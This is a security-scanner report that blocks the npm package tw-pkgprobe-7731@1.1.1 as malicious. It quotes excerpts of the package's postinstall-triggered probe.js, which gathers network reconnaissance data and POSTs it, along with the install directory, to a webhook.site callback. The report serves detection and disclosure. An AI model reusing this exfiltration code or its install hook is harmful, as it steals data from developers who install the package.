tw-pkgprobe-7731@1.1.1: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

tw-pkgprobe-7731@1.1.1: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "postinstall": "node ./probe.js || true" }

High

Suspicious Lifecycle Evidence

postinstall executes probe.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> probe.js const dns=require('dns'), https=require('https'), net=require('net'), fs=require('fs'); const HOOK='https://webhook.site/5764994f-28a3-41b2-b1f7-1ecc13e8e5ca'; function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-len... function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if... if(rec.dns!=='ERR'){ rec.tcp=await tcp(rec.dns,443,2500); if(rec.tcp==='open') rec.http=await head(h,3000); } try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

probe.jsView on unpkg

13function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if(b.length<200)b+=d});res.on('end',()=>r({s:res.statusCode,srv:res.headers.server||'',b:(''+b).slice(0,150)}))});

High

Ai Review Evidence

It collects DNS, TCP, and HTTPS response data, including up to 150 response-body characters.

probe.jsView on unpkg · L13

9function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},res=>{res.resume();res.on('end',()=>r())});

High

Ai Review Evidence

Collected results and the install working directory are POSTed to an external webhook.

probe.jsView on unpkg · L9

24try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process.cwd()}));}catch(e){} await post({event:'netmatrix',cwd:process.cwd(),recs});

High

Ai Review Evidence

The probe writes collected network results to loot.json.

probe.jsView on unpkg · L24

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "postinstall": "node ./probe.js || true" }

High

Suspicious Lifecycle Evidence

postinstall executes probe.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> probe.js const dns=require('dns'), https=require('https'), net=require('net'), fs=require('fs'); const HOOK='https://webhook.site/5764994f-28a3-41b2-b1f7-1ecc13e8e5ca'; function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-len... function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if... if(rec.dns!=='ERR'){ rec.tcp=await tcp(rec.dns,443,2500); if(rec.tcp==='open') rec.http=await head(h,3000); } try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

probe.jsView on unpkg

13function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if(b.length<200)b+=d});res.on('end',()=>r({s:res.statusCode,srv:res.headers.server||'',b:(''+b).slice(0,150)}))});

High

Ai Review Evidence

It collects DNS, TCP, and HTTPS response data, including up to 150 response-body characters.

probe.jsView on unpkg · L13

9function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},res=>{res.resume();res.on('end',()=>r())});

High

Ai Review Evidence

Collected results and the install working directory are POSTed to an external webhook.

probe.jsView on unpkg · L9

24try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process.cwd()}));}catch(e){} await post({event:'netmatrix',cwd:process.cwd(),recs});

High

Ai Review Evidence

The probe writes collected network results to loot.json.

probe.jsView on unpkg · L24